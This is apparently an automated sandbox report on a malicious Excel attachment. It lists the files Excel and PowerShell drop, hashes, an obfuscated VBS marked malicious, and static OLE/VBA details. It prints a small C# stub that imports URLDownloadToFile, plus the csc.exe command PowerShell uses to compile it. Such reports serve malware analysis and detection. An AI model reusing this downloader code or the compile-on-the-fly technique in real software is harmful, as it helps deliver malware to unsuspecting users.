                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                File Type:MSVC .res
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):652
                                                                                                                                                                Entropy (8bit):3.089489685523474
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grycak7YnqqSPN5Dlq5J:+RI+ycuZhN6akSSPNnqX
                                                                                                                                                                MD5:7D69BE0674D94293003468056AD73711
                                                                                                                                                                SHA1:C903B6C25E1E5F14230F8015410C01E80C8CA995
                                                                                                                                                                SHA-256:88FD6E0A3121A1F106E7A5EB32673B382ED99517917CCF81835B4674821BBB33
                                                                                                                                                                SHA-512:14B33736E4964D9C591D6B6A92FEAF8BFA699859B95BB75A0A5E88CEA5A5F91A65B6456A4E841200F15AC3E0409D84FD8EFC11BFDE05064452E385319D34CD43
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.e.r.q.o.b.k.y...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...o.e.r.q.o.b.k.y...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.0.cs

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (350)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):471
                                                                                                                                                                Entropy (8bit):3.809357659772421
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:V/DsYLDS81zuMMbFMORQXReKJ8SRHy4H2RbzXKmjzYoR1ey:V/DTLDfuXWXfH6NXK2Bey
                                                                                                                                                                MD5:17E3854917D7959225064CE324D7F9CC
                                                                                                                                                                SHA1:42C10713ABBEAB9A1A2AE26328BBB0EC7332C06F
                                                                                                                                                                SHA-256:352F76B0D4F36B2240C57702DF1D74690C4AFCC9BC019BF61336CC79DF08434D
                                                                                                                                                                SHA-512:C6D0C22DB21735579C5687011A419CCAC8B0ADA8D1F756969A1DF7C69C4C6E89768396C377A913032506E7DE75D34772744F95419DA12E2A7100A2C686DD3B07
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.using System;.using System.Runtime.InteropServices;..namespace EraMYbSOvj.{. public class GVKVltV. {. [DllImport("URlmOn.dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr l,string nTEOw,string YaRahLhW,uint asoqNcP,IntPtr Wa);.. }..}.

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):369
                                                                                                                                                                Entropy (8bit):5.221144196649325
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fzGVzxs7+AEszIP23fzGQ:p37Lvkmb6Kz70WZEo7x
                                                                                                                                                                MD5:4F3BB085E0F09660AEC03822F02CEB34
                                                                                                                                                                SHA1:F18FFD6456DF5BB64FFCA35A33DBB1AD2C4A26EA
                                                                                                                                                                SHA-256:0B6A33D3C8FFC49EF2A866B1D32C13C2576E8C63DEA621DD2C6B3EFD2335F633
                                                                                                                                                                SHA-512:C0AF153ABBED56D7B28E6417A2708F8163F226DD78813E7D3F201943DA853EF0174E1F5DE6E14C87EE9BD0690177B4994A16C878874E20726167AAEDA3E088C5
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.0.cs"

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.dll

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3072
                                                                                                                                                                Entropy (8bit):2.817049464199744
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:etGSVPBe5ekrl8s2/uktxoe26hma1q4tkZf+kbCZ0WI+ycuZhN6akSSPNnq:6Oskr+PHs6hmSMJ+kbCZX1ul6a3+q
                                                                                                                                                                MD5:B8CEDA2A076553F355079B86AA8BCF6E
                                                                                                                                                                SHA1:8AE86BED0FD4552BA22D910A60D67BC4A692BFA9
                                                                                                                                                                SHA-256:8F02EEDDF73D0DC3CCC2A24AEDD0A8A4B285DEB1DFBE63E34632194BD38D1AC3
                                                                                                                                                                SHA-512:5CFCC163243A119D2AF96E8D4FBAC32D660C68E55D3ED3FA4BBFF4529285805D4F351B73B5B0A81AAF05CD2ABE49BB0CF956B5BDAFAFD66A25FC6C3233FB541E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?Hg...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................:.3.....u.....u.......................................... A.....P ......S.........Y.....[.....a.....j.....r...S.....S...!.S.....S.......!.....*.......A.......................................*..........<Module>.oe

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.out

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                                                                                                                                                Category:modified
                                                                                                                                                                Size (bytes):866
                                                                                                                                                                Entropy (8bit):5.327071244643953
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:AId3ka6KzpEowKaMD5DqBVKVrdFAMBJTH:Akka60pEowKdDcVKdBJj
                                                                                                                                                                MD5:F9969731A257AE3F949758F4875ABE5B
                                                                                                                                                                SHA1:5973755B35B4FD78BF7128D722DE942BD62DEAAE
                                                                                                                                                                SHA-256:703E0E4A94B1E9FC8DE77622FC82E9435CA92C29CBDCC56E5B4B95B629924C76
                                                                                                                                                                SHA-512:83E6E762AAD0E4F445E4781CCA193BA1D8F39D0C19EFA78AD2D0DA3DFC8874CA75A7894815C9F56F596949E7513C40F929D0762ABFA09DEC8D613E191DC79293
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\qtg1jpte.a4o.psm1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\xarwvptn.wee.psm1

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:1

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DF9708CD6546573AEF.TMP

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):512
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DF971251CDB9A0A42E.TMP

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):512
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Temp\~DFA07848CAF08304BA.TMP

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):512
                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3::
                                                                                                                                                                MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with very long lines (3293), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):154100
                                                                                                                                                                Entropy (8bit):3.8123342891350163
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:OSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1Mh6:FkoF+7fx8MnkoF+7fx8MTkoF+7fx8MI
                                                                                                                                                                MD5:3703614D7A8CEE78ABEC953FCB0971B6
                                                                                                                                                                SHA1:8BF58AFD59612F71F4D767F402F166122A4B3470
                                                                                                                                                                SHA-256:9C4B12F92FBDE8C79F404703FE07576DC3B9A1A30052251E59DBC5D547DFFC93
                                                                                                                                                                SHA-512:25493A97A739389B11014BCB5D0C5A8C0CDC178E62594582C40AB13ACF1654713108C75D9273172F7883DCC19E27FFE9803EA818E0C3EF3546A17D5E6A45BF02
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...... . . . .....U.i.L.Z.L.W.l.G.o.L.W.m.e.e.R. .=. .".v.x.N.P.N.I.W.L.c.Z.K.a.q.W.q.".....A.b.K.a.x.L.G.f.C.u.C.G.i.p.R. .=. .".c.b.G.K.o.U.W.p.i.a.K.W.e.k.P.".....c.A.b.A.G.K.h.d.L.U.c.W.u.L.i. .=. .".e.p.b.O.U.n.e.K.n.C.U.m.N.B.l.".........A.U.L.L.q.A.b.C.f.N.m.p.K.G.l. .=. .".i.f.L.L.Z.s.A.L.R.d.z.z.e.W.m.".....H.z.p.k.d.h.W.A.C.Z.o.Z.q.h.U. .=. .".C.H.e.b.W.R.G.W.v.A.L.t.N.L.q.".....i.n.W.A.a.P.L.d.W.z.i.P.L.R.a. .=. .".L.x.G.W.W.z.T.R.W.P.c.K.G.c.O.".....O.i.i.c.k.O.i.K.S.U.L.k.O.K.b. .=. .".L.s.W.P.a.h.W.L.A.C.h.L.n.l.c.".....f.z.z.H.c.t.x.L.K.k.k.A.L.t.q. .=. .".G.f.R.z.b.U.P.e.N.t.G.O.R.l.L.".....t.i.k.L.c.W.b.L.l.L.b.Z.U.k.W. .=. .".O.U.i.C.i.B.e.f.Z.m.L.W.G.G.i.".....h.U.p.h.j.t.Z.W.i.i.c.k.W.W.p. .=. .".i.h.J.o.G.W.P.Z.U.C.N.W.Z.G.i.".....U.J.u.j.t.R.f.h.N.W.k.i.d.L.j. .=. .".c.G.i.A.o.n.i.Q.b.U.k.W.W.t.c.".....m.L.n.t.n.p.Q.c.c.K.I.L.J.n.W. .=. .".e.U.e.z.k.h.n.o.i.W.o.s.a.L.n.".....O.K.x.p.c.p.W.u.l.k.f.z.I.Z.P. .=. .".U.x.I.G.a.b.h.k.L.L.n.n.t.u.p.".....J.O.m.O.h.l.U.x.

                                                                                                                                                                C:\Users\user\Desktop\AD430000

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 28 10:01:41 2024, Security: 1
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1149440
                                                                                                                                                                Entropy (8bit):7.6368118252874915
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24576:u0qGxoHlWIuWzEBMBI3bVD1+kDdrze6cP:BqNhN/W3bVpPBfx
                                                                                                                                                                MD5:9B65A4256AFD8F5850AFCA7E7AC6A405
                                                                                                                                                                SHA1:400FE04ED4FC5717BAA8B5D305E48302353877D4
                                                                                                                                                                SHA-256:ADC050E532018495C603375050C304D695609F5F9AB9C19E392933337620D12C
                                                                                                                                                                SHA-512:16F445F711387B15C5E64F4034E7C209D996948B97D726472D14F3DD3519D3DE596F09695B17C68F59B44BF09C5896E7F5DF9BC3C6760BDC5B3DA25F6412451F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......................>...............................................................................Q.......................u.......w.......y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                                                                                                                                                C:\Users\user\Desktop\AD430000:Zone.Identifier

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):26
                                                                                                                                                                Entropy (8bit):3.95006375643621
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                C:\Users\user\Desktop\Sipari#U015f_listesi.xls (copy)

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 28 10:01:41 2024, Security: 1
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1149440
                                                                                                                                                                Entropy (8bit):7.6368118252874915
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24576:u0qGxoHlWIuWzEBMBI3bVD1+kDdrze6cP:BqNhN/W3bVpPBfx
                                                                                                                                                                MD5:9B65A4256AFD8F5850AFCA7E7AC6A405
                                                                                                                                                                SHA1:400FE04ED4FC5717BAA8B5D305E48302353877D4
                                                                                                                                                                SHA-256:ADC050E532018495C603375050C304D695609F5F9AB9C19E392933337620D12C
                                                                                                                                                                SHA-512:16F445F711387B15C5E64F4034E7C209D996948B97D726472D14F3DD3519D3DE596F09695B17C68F59B44BF09C5896E7F5DF9BC3C6760BDC5B3DA25F6412451F
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......................>...............................................................................Q.......................u.......w.......y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                                                                                                                                                                Static File Info

                                                                                                                                                                General

                                                                                                                                                                File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 28 05:48:30 2024, Security: 1
                                                                                                                                                                Entropy (8bit):7.617912763570669
                                                                                                                                                                TrID:
                                                                                                                                                                • Microsoft Excel sheet (30009/1) 47.99%
                                                                                                                                                                • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                                                                                                                                                                • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                                                                                                                                                                File name:Sipari#U015f_listesi.xls
                                                                                                                                                                File size:1'158'656 bytes
                                                                                                                                                                MD5:c47ccad59f8ba84f04632ae46e19f794
                                                                                                                                                                SHA1:279c6a65afde93c0aad3246770c88ed8e143b28d
                                                                                                                                                                SHA256:391127bf5132f73f60a591a4f1a80511f152549b3b1ffaec3f02b806b6750e19
                                                                                                                                                                SHA512:7da51f3364b193d2819e74779bf59905d89878947cb3408a0d10139eac3b27d57544f8405f62ec7a21107ccbdaec1e1c07a900cc8edcade98576f11989935b12
                                                                                                                                                                SSDEEP:24576:z0qGxoHlWIuWz/hiBS3bV4Dlv+xEXeSzBXtgxJ:YqNhNMI3bVa1+xEXvhW
                                                                                                                                                                TLSH:4035F1A1A647860ED595033484E3869E261DDC825B5EF73B3218B34D7FB0E970B8F636
                                                                                                                                                                File Content Preview:........................>...............................................................................Q.......................v.......x.......z..............................................................................................................

                                                                                                                                                                File Icon

                                                                                                                                                                Icon Hash:276ea3a6a6b7bfbf

                                                                                                                                                                Static OLE Info

                                                                                                                                                                General

                                                                                                                                                                Document Type:OLE
                                                                                                                                                                Number of OLE Files:1

                                                                                                                                                                OLE File "Sipari#U015f_listesi.xls"

                                                                                                                                                                Indicators
                                                                                                                                                                Has Summary Info:
                                                                                                                                                                Application Name:Microsoft Excel
                                                                                                                                                                Encrypted Document:True
                                                                                                                                                                Contains Word Document Stream:False
                                                                                                                                                                Contains Workbook/Book Stream:True
                                                                                                                                                                Contains PowerPoint Document Stream:False
                                                                                                                                                                Contains Visio Document Stream:False
                                                                                                                                                                Contains ObjectPool Stream:False
                                                                                                                                                                Flash Objects Count:0
                                                                                                                                                                Contains VBA Macros:True
                                                                                                                                                                Summary
                                                                                                                                                                Code Page:1252
                                                                                                                                                                Author:
                                                                                                                                                                Last Saved By:
                                                                                                                                                                Create Time:2006-09-16 00:00:00
                                                                                                                                                                Last Saved Time:2024-11-28 05:48:30
                                                                                                                                                                Creating Application:Microsoft Excel
                                                                                                                                                                Security:1
                                                                                                                                                                Document Summary
                                                                                                                                                                Document Code Page:1252
                                                                                                                                                                Thumbnail Scaling Desired:False
                                                                                                                                                                Contains Dirty Links:False
                                                                                                                                                                Shared Document:False
                                                                                                                                                                Changed Hyperlinks:False
                                                                                                                                                                Application Version:786432

                                                                                                                                                                Streams with VBA

                                                                                                                                                                VBA File Name: Sheet1.cls, Stream Size: 977
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                                                                                                                                                                VBA File Name:Sheet1.cls
                                                                                                                                                                Stream Size:977
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . % . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 ae 25 a1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                VBA Code
                                                                                                                                                                Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                VBA File Name: Sheet2.cls, Stream Size: 977
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                                                                                                                                                                VBA File Name:Sheet2.cls
                                                                                                                                                                Stream Size:977
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 ae da 1c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                VBA Code
                                                                                                                                                                Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                VBA File Name: Sheet3.cls, Stream Size: 977
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/Sheet3
                                                                                                                                                                VBA File Name:Sheet3.cls
                                                                                                                                                                Stream Size:977
